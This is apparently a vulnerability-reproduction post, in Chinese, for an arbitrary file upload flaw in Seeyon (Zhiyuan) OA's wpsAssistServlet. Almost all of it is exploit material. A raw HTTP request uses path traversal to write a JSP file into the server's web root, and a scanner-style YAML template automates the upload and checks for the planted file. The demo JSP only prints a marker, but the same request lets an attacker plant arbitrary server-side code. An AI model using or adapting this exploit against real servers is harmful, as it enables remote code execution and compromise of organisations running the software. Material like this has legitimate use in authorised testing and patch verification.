致远OA文件上传漏洞复现

POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/qqq.jsp&fileId=2 HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 219Content-Type: multipart/form-data; boundary=a4d7586ac9d50625dee11e86fa69bc71
--a4d7586ac9d50625dee11e86fa69bc71Content-Disposition: form-data; name="upload"; filename="123.txt"Content-Type: application/vnd.ms-excel
<% out.println("123123");%>  --a4d7586ac9d50625dee11e86fa69bc71--

id: zhiyuan-wpsAssistServlet-Uploadinfo:  name: zhiyuan-wpsAssistServlet-Upload  author: Kokoxca  severity: critical  tags: zhiyuan-Upload

http:  - raw:      - |        POST /seeyon/wpsAssistServlet?flag=save&realFileType=../../../../ApacheJetspeed/webapps/ROOT/qq.jsp&fileId=2 HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)        Accept-Encoding: gzip, deflate        Accept: */*        Connection: close        Content-Length: 217        Content-Type: multipart/form-data; boundary=a4d7586ac9d50625dee11e86fa69bc71
        --a4d7586ac9d50625dee11e86fa69bc71        Content-Disposition: form-data; name="upload"; filename="123.xls"        Content-Type: application/vnd.ms-excel
        <% out.println("123123");%>          --a4d7586ac9d50625dee11e86fa69bc71--
      - |        GET /qq.jsp HTTP/1.1        Host: {{Hostname}}        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36        Accept: */*        Accept-Encoding: gzip, deflate, br        Accept-Language: zh-CN,zh;q=0.9        Connection: close        Content-Type: application/x-www-form-urlencoded        Upgrade-Insecure-Requests: 1            matchers-condition: and    matchers:      - type: dsl        dsl:          - "status_code==200 && contains(body,'123123')"